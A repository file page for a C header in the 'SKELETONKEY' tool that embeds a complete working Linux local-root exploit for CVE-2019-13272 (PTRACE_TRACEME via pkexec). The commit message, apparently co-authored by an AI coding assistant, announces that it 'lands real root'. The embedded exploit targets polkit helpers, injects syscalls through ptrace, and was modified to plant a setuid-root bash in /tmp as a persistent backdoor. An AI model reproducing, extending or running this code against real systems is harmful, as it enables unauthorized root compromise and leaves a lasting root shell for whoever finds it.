Files
SKELETONKEY/modules/ptrace_traceme_cve_2019_13272/ptrace_helper_src.h
T
KaraZajac 635f7d2d24
build / build (clang / debug) (push) Waiting to run
build / build (clang / default) (push) Waiting to run
build / build (gcc / debug) (push) Waiting to run
build / build (gcc / default) (push) Waiting to run
build / sanitizers (ASan + UBSan) (push) Waiting to run
build / clang-tidy (push) Waiting to run
build / drift-check (CISA KEV + Debian tracker) (push) Waiting to run
build / static-build (push) Waiting to run
ptrace_traceme: working CVE-2019-13272 exploit — lands real root (x86_64)
The bundled sequence had the mechanism backwards (it PTRACE_ATTACHed the
now-root parent) and never rooted anything. Replaced it with the proven Jann
Horn (Project Zero #1903) / bcoles technique:

  - a "middle" process execs setuid pkexec (euid 0 for a window);
  - its child spins until it sees middle is euid 0, calls PTRACE_TRACEME
    (recording middle's ROOT creds as ptracer_cred — the bug), then execs
    pkexec itself. The traced setuid exec is NOT degraded because ptracer_cred
    is root, so the child becomes real root, still traced;
  - staged execveat() self-re-exec injects the payload as root.

The staged self-re-exec needs the exploit to exist as its own binary with an
argv[0] stage dispatcher, so the proven PoC is embedded verbatim
(ptrace_helper_src.h — only spawn_shell() changed, to plant a root-owned proof
+ setuid bash instead of only an interactive shell), compiled on the target at
runtime with unique -DSK_PROOF/-DSK_ROOTBASH paths, run, and verified by
stat()'ing the root-owned artifacts (never self-report).

Verified out-of-band on Ubuntu 18.04.0 / 4.15.0-50: `skeletonkey --exploit
ptrace_traceme` as uid 1000 -> EXPLOIT_OK + a -rwsr-xr-x root:root bash.
Real-world precondition, honestly reported: pkexec must authorize an
auto-discovered implicit-active=yes helper, which needs an active local session
(desktop) or a permissive polkit policy; over inactive ssh it returns "Not
authorized" and the module reports EXPLOIT_FAIL with that diagnosis. Gated on a
C compiler + pkexec; x86_64 only (register-level injection). cleanup() removes
the artifacts. Unit harness green (33 + 115).

Co-Authored-By: Claude Opus 4.8 (1M context) <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_0118iUgHY44hdRtANgyCmu7y
2026-07-23 22:14:19 -04:00

572 lines
21 KiB
C

/* ptrace_helper_src.h — AUTO-GENERATED. DO NOT EDIT BY HAND.
*
* Embedded source of the proven CVE-2019-13272 exploit (original author
* Jann Horn / Google Project Zero #1903; auto-targeting + helper search by
* bcoles). The only SKELETONKEY change vs upstream is spawn_shell(): instead
* of only dropping into an interactive shell, it plants a root-owned proof
* file (SK_PROOF) and a setuid-root bash (SK_ROOTBASH) so the module can
* verify root out-of-band, and only execs an interactive shell on a tty.
* The module writes this out, compiles it with unique -DSK_PROOF/-DSK_ROOTBASH
* paths, runs it, and stat()s the artifacts to confirm uid==0.
*/
static const char ptrace_traceme_helper_src[] =
"// Linux 4.10 < 5.1.17 PTRACE_TRACEME local root (CVE-2019-13272)\n"
"//\n"
"// Uses pkexec technique. Requires execution within the context\n"
"// of a user session with an active PolKit agent.\n"
"//\n"
"// Exploitation will fail if kernel.yama.ptrace_scope >= 2;\n"
"// or SELinux deny_ptrace=on.\n"
"// ---\n"
"// Original discovery and exploit author: Jann Horn\n"
"// - https://bugs.chromium.org/p/project-zero/issues/detail?id=1903\n"
"// ---\n"
"// <bcoles@gmail.com>\n"
"// - added known helper paths\n"
"// - added search for suitable helpers\n"
"// - added automatic targeting\n"
"// - changed target suid executable from passwd to pkexec\n"
"// https://github.com/bcoles/kernel-exploits/tree/master/CVE-2019-13272\n"
"// ---\n"
"// Tested on:\n"
"// - Ubuntu 16.04.5 kernel 4.15.0-29-generic\n"
"// - Ubuntu 18.04.1 kernel 4.15.0-20-generic\n"
"// - Ubuntu 18.04.3 kernel 5.0.0-23-generic\n"
"// - Ubuntu 19.04 kernel 5.0.0-15-generic\n"
"// - Ubuntu Mate 18.04.2 kernel 4.18.0-15-generic\n"
"// - Linux Mint 17.3 kernel 4.4.0-89-generic\n"
"// - Linux Mint 18.3 kernel 4.13.0-16-generic\n"
"// - Linux Mint 19 kernel 4.15.0-20-generic\n"
"// - Xubuntu 16.04.4 kernel 4.13.0-36-generic\n"
"// - ElementaryOS 0.4.1 4.8.0-52-generic\n"
"// - Backbox 6 kernel 4.18.0-21-generic\n"
"// - Parrot OS 4.5.1 kernel 4.19.0-parrot1-13t-amd64\n"
"// - Kali kernel 4.19.0-kali5-amd64\n"
"// - MX 18.3 kernel 4.19.37-2~mx17+1\n"
"// - RHEL 8.0 kernel 4.18.0-80.el8.x86_64\n"
"// - CentOS 8 kernel 4.18.0-80.el8.x86_64\n"
"// - Debian 9.4.0 kernel 4.9.0-6-amd64\n"
"// - Debian 10.0.0 kernel 4.19.0-5-amd64\n"
"// - Devuan 2.0.0 kernel 4.9.0-6-amd64\n"
"// - SparkyLinux 5.8 kernel 4.19.0-5-amd64\n"
"// - SparkyLinux 5.9 kernel 4.19.0-6-amd64\n"
"// - Fedora Workstation 30 kernel 5.0.9-301.fc30.x86_64\n"
"// - Manjaro 18.0.3 kernel 4.19.23-1-MANJARO\n"
"// - Mageia 6 kernel 4.9.35-desktop-1.mga6\n"
"// - Antergos 18.7 kernel 4.17.6-1-ARCH\n"
"// - lubuntu 19.04 kernel 5.0.0-13-generic\n"
"// - Sabayon 19.03 kernel 4.20.0-sabayon\n"
"// - Pop! OS 19.04 kernel 5.0.0-21-generic\n"
"// ---\n"
"// [user@localhost CVE-2019-13272]$ gcc -Wall --std=gnu99 -s poc.c -o ptrace_traceme_root\n"
"// [user@localhost CVE-2019-13272]$ ./ptrace_traceme_root\n"
"// Linux 4.10 < 5.1.17 PTRACE_TRACEME local root (CVE-2019-13272)\n"
"// [.] Checking environment ...\n"
"// [~] Done, looks good\n"
"// [.] Searching policies for useful helpers ...\n"
"// [.] Ignoring helper (does not exist): /usr/sbin/pk-device-rebind\n"
"// [.] Trying helper: /usr/libexec/gsd-backlight-helper\n"
"// [.] Spawning suid process (/usr/bin/pkexec) ...\n"
"// [.] Tracing midpid ...\n"
"// [~] Attached to midpid\n"
"// [root@localhost CVE-2019-13272]# id\n"
"// uid=0(root) gid=0(root) groups=0(root),1000(user)\n"
"// [root@localhost CVE-2019-13272]# uname -a\n"
"// Linux localhost.localdomain 4.18.0-80.el8.x86_64 #1 SMP Tue Jun 4 09:19:46 UTC 2019 x86_64 x86_64 x86_64 GNU/Linux\n"
"// ---\n"
"\n"
"#define _GNU_SOURCE\n"
"#include <string.h>\n"
"#include <stdlib.h>\n"
"#include <unistd.h>\n"
"#include <signal.h>\n"
"#include <stdio.h>\n"
"#include <fcntl.h>\n"
"#include <sched.h>\n"
"#include <stddef.h>\n"
"#include <stdarg.h>\n"
"#include <pwd.h>\n"
"#include <sys/prctl.h>\n"
"#include <sys/wait.h>\n"
"#include <sys/ptrace.h>\n"
"#include <sys/user.h>\n"
"#include <sys/syscall.h>\n"
"#include <sys/stat.h>\n"
"#include <linux/elf.h>\n"
"\n"
"#define DEBUG\n"
"\n"
"#ifdef DEBUG\n"
"# define dprintf printf\n"
"#else\n"
"# define dprintf\n"
"#endif\n"
"\n"
"/*\n"
" * enabled automatic targeting.\n"
" * uses pkaction to search PolKit policy actions for viable helper executables.\n"
" */\n"
"#define ENABLE_AUTO_TARGETING 1\n"
"\n"
"/*\n"
" * fall back to known helpers if automatic targeting fails.\n"
" * note: use of these helpers may result in PolKit authentication\n"
" * prompts on the session associated with the PolKit agent.\n"
" */\n"
"#define ENABLE_FALLBACK_HELPERS 1\n"
"\n"
"static const char *SHELL = \"/bin/bash\";\n"
"\n"
"/* SKELETONKEY: out-of-band proof + persistent root artifact paths.\n"
" * Passed in at compile time (-DSK_PROOF=... -DSK_ROOTBASH=...) so each\n"
" * run uses a unique path; env vars can't be used because the staged\n"
" * execveat() re-execs carry an empty environment. */\n"
"#ifndef SK_PROOF\n"
"#define SK_PROOF \"/tmp/.skeletonkey-ptrace-proof\"\n"
"#endif\n"
"#ifndef SK_ROOTBASH\n"
"#define SK_ROOTBASH \"/tmp/.skeletonkey-ptrace-rootbash\"\n"
"#endif\n"
"\n"
"static int middle_success = 1;\n"
"static int block_pipe[2];\n"
"static int self_fd = -1;\n"
"static int dummy_status;\n"
"static const char *helper_path;\n"
"static const char *pkexec_path = \"/usr/bin/pkexec\";\n"
"static const char *pkaction_path = \"/usr/bin/pkaction\";\n"
"struct stat st;\n"
"\n"
"const char *helpers[1024];\n"
"\n"
"/* known helpers to use if automatic targeting fails */\n"
"#if ENABLE_FALLBACK_HELPERS\n"
"const char *known_helpers[] = {\n"
" \"/usr/lib/gnome-settings-daemon/gsd-backlight-helper\",\n"
" \"/usr/lib/gnome-settings-daemon/gsd-wacom-led-helper\",\n"
" \"/usr/lib/unity-settings-daemon/usd-backlight-helper\",\n"
" \"/usr/lib/unity-settings-daemon/usd-wacom-led-helper\",\n"
" \"/usr/lib/x86_64-linux-gnu/xfce4/session/xfsm-shutdown-helper\",\n"
" \"/usr/lib/x86_64-linux-gnu/cinnamon-settings-daemon/csd-backlight-helper\",\n"
" \"/usr/sbin/mate-power-backlight-helper\",\n"
" \"/usr/sbin/xfce4-pm-helper\",\n"
" \"/usr/bin/xfpm-power-backlight-helper\",\n"
" \"/usr/bin/lxqt-backlight_backend\",\n"
" \"/usr/libexec/gsd-wacom-led-helper\",\n"
" \"/usr/libexec/gsd-wacom-oled-helper\",\n"
" \"/usr/libexec/gsd-backlight-helper\",\n"
" \"/usr/lib/gsd-backlight-helper\",\n"
" \"/usr/lib/gsd-wacom-led-helper\",\n"
" \"/usr/lib/gsd-wacom-oled-helper\",\n"
" \"/usr/lib64/xfce4/session/xsfm-shutdown-helper\",\n"
"};\n"
"#endif\n"
"\n"
"/* helper executables known to cause problems (hang or fail) */\n"
"const char *blacklisted_helpers[] = {\n"
" \"/xf86-video-intel-backlight-helper\",\n"
" \"/cpugovctl\",\n"
" \"/resetxpad\",\n"
" \"/package-system-locked\",\n"
" \"/cddistupgrader\",\n"
"};\n"
"\n"
"#define SAFE(expr) ({ \\\n"
" typeof(expr) __res = (expr); \\\n"
" if (__res == -1) { \\\n"
" dprintf(\"[-] Error: %s\\n\", #expr); \\\n"
" return 0; \\\n"
" } \\\n"
" __res; \\\n"
"})\n"
"#define max(a,b) ((a)>(b) ? (a) : (b))\n"
"\n"
"/*\n"
" * execveat() syscall\n"
" * https://github.com/torvalds/linux/blob/master/arch/x86/entry/syscalls/syscall_64.tbl\n"
" */\n"
"#ifndef __NR_execveat\n"
"# define __NR_execveat 322\n"
"#endif\n"
"\n"
"/* temporary printf; returned pointer is valid until next tprintf */\n"
"static char *tprintf(char *fmt, ...) {\n"
" static char buf[10000];\n"
" va_list ap;\n"
" va_start(ap, fmt);\n"
" vsprintf(buf, fmt, ap);\n"
" va_end(ap);\n"
" return buf;\n"
"}\n"
"\n"
"/*\n"
" * fork, execute pkexec in parent, force parent to trace our child process,\n"
" * execute suid executable (pkexec) in child.\n"
" */\n"
"static int middle_main(void *dummy) {\n"
" prctl(PR_SET_PDEATHSIG, SIGKILL);\n"
" pid_t middle = getpid();\n"
"\n"
" self_fd = SAFE(open(\"/proc/self/exe\", O_RDONLY));\n"
"\n"
" pid_t child = SAFE(fork());\n"
" if (child == 0) {\n"
" prctl(PR_SET_PDEATHSIG, SIGKILL);\n"
"\n"
" SAFE(dup2(self_fd, 42));\n"
"\n"
" /* spin until our parent becomes privileged (have to be fast here) */\n"
" int proc_fd = SAFE(open(tprintf(\"/proc/%d/status\", middle), O_RDONLY));\n"
" char *needle = tprintf(\"\\nUid:\\t%d\\t0\\t\", getuid());\n"
" while (1) {\n"
" char buf[1000];\n"
" ssize_t buflen = SAFE(pread(proc_fd, buf, sizeof(buf)-1, 0));\n"
" buf[buflen] = '\\0';\n"
" if (strstr(buf, needle)) break;\n"
" }\n"
"\n"
" /*\n"
" * this is where the bug is triggered.\n"
" * while our parent is in the middle of pkexec, we force it to become our\n"
" * tracer, with pkexec's creds as ptracer_cred.\n"
" */\n"
" SAFE(ptrace(PTRACE_TRACEME, 0, NULL, NULL));\n"
"\n"
" /*\n"
" * now we execute a suid executable (pkexec).\n"
" * Because the ptrace relationship is considered to be privileged,\n"
" * this is a proper suid execution despite the attached tracer,\n"
" * not a degraded one.\n"
" * at the end of execve(), this process receives a SIGTRAP from ptrace.\n"
" */\n"
" execl(pkexec_path, basename(pkexec_path), NULL);\n"
"\n"
" dprintf(\"[-] execl: Executing suid executable failed\");\n"
" exit(EXIT_FAILURE);\n"
" }\n"
"\n"
" SAFE(dup2(self_fd, 0));\n"
" SAFE(dup2(block_pipe[1], 1));\n"
"\n"
" /* execute pkexec as current user */\n"
" struct passwd *pw = getpwuid(getuid());\n"
" if (pw == NULL) {\n"
" dprintf(\"[-] getpwuid: Failed to retrieve username\");\n"
" exit(EXIT_FAILURE);\n"
" }\n"
"\n"
" middle_success = 1;\n"
" execl(pkexec_path, basename(pkexec_path), \"--user\", pw->pw_name,\n"
" helper_path,\n"
" \"--help\", NULL);\n"
" middle_success = 0;\n"
" dprintf(\"[-] execl: Executing pkexec failed\");\n"
" exit(EXIT_FAILURE);\n"
"}\n"
"\n"
"/* ptrace pid and wait for signal */\n"
"static int force_exec_and_wait(pid_t pid, int exec_fd, char *arg0) {\n"
" struct user_regs_struct regs;\n"
" struct iovec iov = { .iov_base = &regs, .iov_len = sizeof(regs) };\n"
" SAFE(ptrace(PTRACE_SYSCALL, pid, 0, NULL));\n"
" SAFE(waitpid(pid, &dummy_status, 0));\n"
" SAFE(ptrace(PTRACE_GETREGSET, pid, NT_PRSTATUS, &iov));\n"
"\n"
" /* set up indirect arguments */\n"
" unsigned long scratch_area = (regs.rsp - 0x1000) & ~0xfffUL;\n"
" struct injected_page {\n"
" unsigned long argv[2];\n"
" unsigned long envv[1];\n"
" char arg0[8];\n"
" char path[1];\n"
" } ipage = {\n"
" .argv = { scratch_area + offsetof(struct injected_page, arg0) }\n"
" };\n"
" strcpy(ipage.arg0, arg0);\n"
" int i;\n"
" for (i = 0; i < sizeof(ipage)/sizeof(long); i++) {\n"
" unsigned long pdata = ((unsigned long *)&ipage)[i];\n"
" SAFE(ptrace(PTRACE_POKETEXT, pid, scratch_area + i * sizeof(long),\n"
" (void*)pdata));\n"
" }\n"
"\n"
" /* execveat(exec_fd, path, argv, envv, flags) */\n"
" regs.orig_rax = __NR_execveat;\n"
" regs.rdi = exec_fd;\n"
" regs.rsi = scratch_area + offsetof(struct injected_page, path);\n"
" regs.rdx = scratch_area + offsetof(struct injected_page, argv);\n"
" regs.r10 = scratch_area + offsetof(struct injected_page, envv);\n"
" regs.r8 = AT_EMPTY_PATH;\n"
"\n"
" SAFE(ptrace(PTRACE_SETREGSET, pid, NT_PRSTATUS, &iov));\n"
" SAFE(ptrace(PTRACE_DETACH, pid, 0, NULL));\n"
" SAFE(waitpid(pid, &dummy_status, 0));\n"
"\n"
" return 0;\n"
"}\n"
"\n"
"static int middle_stage2(void) {\n"
" /* our child is hanging in signal delivery from execve()'s SIGTRAP */\n"
" pid_t child = SAFE(waitpid(-1, &dummy_status, 0));\n"
" return force_exec_and_wait(child, 42, \"stage3\");\n"
"}\n"
"\n"
"// * * * * * * * * * * * * * * * * root shell * * * * * * * * * * * * * * * * *\n"
"\n"
"static int spawn_shell(void) {\n"
" SAFE(setresgid(0, 0, 0));\n"
" SAFE(setresuid(0, 0, 0));\n"
" /* SKELETONKEY payload: we are now genuinely root. Drop an out-of-band,\n"
" * root-owned proof file and a setuid-root bash the operator can use, then\n"
" * (only on an interactive tty) hand off an interactive root shell. In the\n"
" * module's automated run stdin is /dev/null, so we just exit cleanly after\n"
" * planting the artifacts — the module verifies root by stat()'ing them. */\n"
" system(\"id > \" SK_PROOF \" 2>&1; \"\n"
" \"cp -f /bin/bash \" SK_ROOTBASH \" 2>/dev/null; \"\n"
" \"chown 0:0 \" SK_ROOTBASH \" 2>/dev/null; \"\n"
" \"chmod 4755 \" SK_ROOTBASH \" 2>/dev/null; \"\n"
" \"chown 0:0 \" SK_PROOF \" 2>/dev/null; sync\");\n"
" if (isatty(0)) {\n"
" execlp(SHELL, basename(SHELL), NULL);\n"
" dprintf(\"[-] execlp: Executing shell %s failed\", SHELL);\n"
" }\n"
" _exit(EXIT_SUCCESS);\n"
"}\n"
"\n"
"// * * * * * * * * * * * * * * * * * Detect * * * * * * * * * * * * * * * * * *\n"
"\n"
"static int check_env(void) {\n"
" int warn = 0;\n"
" const char* xdg_session = getenv(\"XDG_SESSION_ID\");\n"
"\n"
" dprintf(\"[.] Checking environment ...\\n\");\n"
"\n"
" if (stat(pkexec_path, &st) != 0) {\n"
" dprintf(\"[-] Could not find pkexec executable at %s\\n\", pkexec_path);\n"
" exit(EXIT_FAILURE);\n"
" }\n"
"\n"
" if (stat(\"/dev/grsec\", &st) == 0) {\n"
" dprintf(\"[!] Warning: grsec is in use\\n\");\n"
" warn++;\n"
" }\n"
"\n"
" if (xdg_session == NULL) {\n"
" dprintf(\"[!] Warning: $XDG_SESSION_ID is not set\\n\");\n"
" warn++;\n"
" }\n"
"\n"
" if (system(\"/bin/loginctl --no-ask-password show-session \\\"$XDG_SESSION_ID\\\" | /bin/grep Remote=no >>/dev/null 2>>/dev/null\") != 0) {\n"
" dprintf(\"[!] Warning: Could not find active PolKit agent\\n\");\n"
" warn++;\n"
" }\n"
"\n"
" if (system(\"/sbin/sysctl kernel.yama.ptrace_scope 2>&1 | /bin/grep -q [23]\") == 0) {\n"
" dprintf(\"[!] Warning: kernel.yama.ptrace_scope >= 2\\n\");\n"
" warn++;\n"
" }\n"
"\n"
" if (stat(\"/usr/sbin/getsebool\", &st) == 0) {\n"
" if (system(\"/usr/sbin/getsebool deny_ptrace 2>&1 | /bin/grep -q on\") == 0) {\n"
" dprintf(\"[!] Warning: SELinux deny_ptrace is enabled\\n\");\n"
" warn++;\n"
" }\n"
" }\n"
"\n"
" if (warn > 0) {\n"
" dprintf(\"[~] Done, with %d warnings\\n\", warn);\n"
" } else {\n"
" dprintf(\"[~] Done, looks good\\n\");\n"
" }\n"
"\n"
" return warn;\n"
"}\n"
"\n"
"/*\n"
" * Use pkaction to search PolKit policy actions for viable helper executables.\n"
" * Check each action for allow_active=yes, extract the associated helper path,\n"
" * and check the helper path exists.\n"
" */\n"
"#if ENABLE_AUTO_TARGETING\n"
"int find_helpers() {\n"
" if (stat(pkaction_path, &st) != 0) {\n"
" dprintf(\"[-] No helpers found. Could not find pkaction executable at %s.\\n\", pkaction_path);\n"
" return 0;\n"
" }\n"
"\n"
" char cmd[1024];\n"
" snprintf(cmd, sizeof(cmd), \"%s --verbose\", pkaction_path);\n"
" FILE *fp;\n"
" fp = popen(cmd, \"r\");\n"
" if (fp == NULL) {\n"
" dprintf(\"[-] Failed to run %s: %m\\n\", cmd);\n"
" return 0;\n"
" }\n"
"\n"
" char line[1024];\n"
" char buffer[2048];\n"
" int helper_index = 0;\n"
" int useful_action = 0;\n"
" int blacklisted_helper = 0;\n"
" static const char *needle = \"org.freedesktop.policykit.exec.path -> \";\n"
" int needle_length = strlen(needle);\n"
"\n"
" while (fgets(line, sizeof(line)-1, fp) != NULL) {\n"
" /* check the action uses allow_active=yes */\n"
" if (strstr(line, \"implicit active:\")) {\n"
" if (strstr(line, \"yes\")) {\n"
" useful_action = 1;\n"
" }\n"
" continue;\n"
" }\n"
"\n"
" if (useful_action == 0)\n"
" continue;\n"
"\n"
" useful_action = 0;\n"
"\n"
" /* extract the helper path */\n"
" int length = strlen(line);\n"
" char* found = memmem(&line[0], length, needle, needle_length);\n"
" if (found == NULL)\n"
" continue;\n"
"\n"
" memset(buffer, 0, sizeof(buffer));\n"
" int i;\n"
" for (i = 0; found[needle_length + i] != '\\n'; i++) {\n"
" if (i >= sizeof(buffer)-1)\n"
" continue;\n"
" buffer[i] = found[needle_length + i];\n"
" }\n"
"\n"
" /* check helper path against helpers defined in 'blacklisted_helpers' array */\n"
" blacklisted_helper = 0;\n"
" for (i=0; i<sizeof(blacklisted_helpers)/sizeof(blacklisted_helpers[0]); i++) {\n"
" if (strstr(&buffer[0], blacklisted_helpers[i]) != 0) {\n"
" dprintf(\"[.] Ignoring helper (blacklisted): %s\\n\", &buffer[0]);\n"
" blacklisted_helper = 1;\n"
" break;\n"
" }\n"
" }\n"
" if (blacklisted_helper == 1)\n"
" continue;\n"
"\n"
" /* check the path exists */\n"
" if (stat(&buffer[0], &st) != 0) {\n"
" dprintf(\"[.] Ignoring helper (does not exist): %s\\n\", &buffer[0]);\n"
" continue;\n"
" }\n"
"\n"
" helpers[helper_index] = strndup(&buffer[0], strlen(buffer));\n"
" helper_index++;\n"
"\n"
" if (helper_index >= sizeof(helpers)/sizeof(helpers[0]))\n"
" break;\n"
" }\n"
"\n"
" pclose(fp);\n"
" return 0;\n"
"}\n"
"#endif\n"
"\n"
"// * * * * * * * * * * * * * * * * * Main * * * * * * * * * * * * * * * * *\n"
"\n"
"int ptrace_traceme_root() {\n"
" dprintf(\"[.] Trying helper: %s\\n\", helper_path);\n"
"\n"
" /*\n"
" * set up a pipe such that the next write to it will block: packet mode,\n"
" * limited to one packet\n"
" */\n"
" SAFE(pipe2(block_pipe, O_CLOEXEC|O_DIRECT));\n"
" SAFE(fcntl(block_pipe[0], F_SETPIPE_SZ, 0x1000));\n"
" char dummy = 0;\n"
" SAFE(write(block_pipe[1], &dummy, 1));\n"
"\n"
" /* spawn pkexec in a child, and continue here once our child is in execve() */\n"
" dprintf(\"[.] Spawning suid process (%s) ...\\n\", pkexec_path);\n"
" static char middle_stack[1024*1024];\n"
" pid_t midpid = SAFE(clone(middle_main, middle_stack+sizeof(middle_stack),\n"
" CLONE_VM|CLONE_VFORK|SIGCHLD, NULL));\n"
" if (!middle_success) return 1;\n"
"\n"
" /*\n"
" * wait for our child to go through both execve() calls (first pkexec, then\n"
" * the executable permitted by polkit policy).\n"
" */\n"
" while (1) {\n"
" int fd = open(tprintf(\"/proc/%d/comm\", midpid), O_RDONLY);\n"
" char buf[16];\n"
" int buflen = SAFE(read(fd, buf, sizeof(buf)-1));\n"
" buf[buflen] = '\\0';\n"
" *strchrnul(buf, '\\n') = '\\0';\n"
" if (strncmp(buf, basename(helper_path), 15) == 0)\n"
" break;\n"
" usleep(100000);\n"
" }\n"
"\n"
" /*\n"
" * our child should have gone through both the privileged execve() and the\n"
" * following execve() here\n"
" */\n"
" dprintf(\"[.] Tracing midpid ...\\n\");\n"
" SAFE(ptrace(PTRACE_ATTACH, midpid, 0, NULL));\n"
" SAFE(waitpid(midpid, &dummy_status, 0));\n"
" dprintf(\"[~] Attached to midpid\\n\");\n"
"\n"
" force_exec_and_wait(midpid, 0, \"stage2\");\n"
" exit(EXIT_SUCCESS);\n"
"}\n"
"\n"
"int main(int argc, char **argv) {\n"
" if (strcmp(argv[0], \"stage2\") == 0)\n"
" return middle_stage2();\n"
" if (strcmp(argv[0], \"stage3\") == 0)\n"
" return spawn_shell();\n"
"\n"
" dprintf(\"Linux 4.10 < 5.1.17 PTRACE_TRACEME local root (CVE-2019-13272)\\n\");\n"
"\n"
" check_env();\n"
"\n"
" if (argc > 1 && strcmp(argv[1], \"check\") == 0) {\n"
" exit(0);\n"
" }\n"
"\n"
" int i;\n"
"\n"
"#if ENABLE_AUTO_TARGETING\n"
" /* search polkit policies for helper executables */\n"
" dprintf(\"[.] Searching policies for useful helpers ...\\n\");\n"
" find_helpers();\n"
" for (i=0; i<sizeof(helpers)/sizeof(helpers[0]); i++) {\n"
" if (helpers[i] == NULL)\n"
" break;\n"
"\n"
" if (stat(helpers[i], &st) != 0)\n"
" continue;\n"
"\n"
" helper_path = helpers[i];\n"
" ptrace_traceme_root();\n"
" }\n"
"#endif\n"
"\n"
"#if ENABLE_FALLBACK_HELPERS\n"
" /* search for known helpers defined in 'known_helpers' array */\n"
" dprintf(\"[.] Searching for known helpers ...\\n\");\n"
" for (i=0; i<sizeof(known_helpers)/sizeof(known_helpers[0]); i++) {\n"
" if (stat(known_helpers[i], &st) != 0)\n"
" continue;\n"
"\n"
" helper_path = known_helpers[i];\n"
" dprintf(\"[~] Found known helper: %s\\n\", helper_path);\n"
" ptrace_traceme_root();\n"
" }\n"
"#endif\n"
"\n"
" dprintf(\"[~] Done\\n\");\n"
"\n"
" return 0;\n"
"}\n"
"\n"
;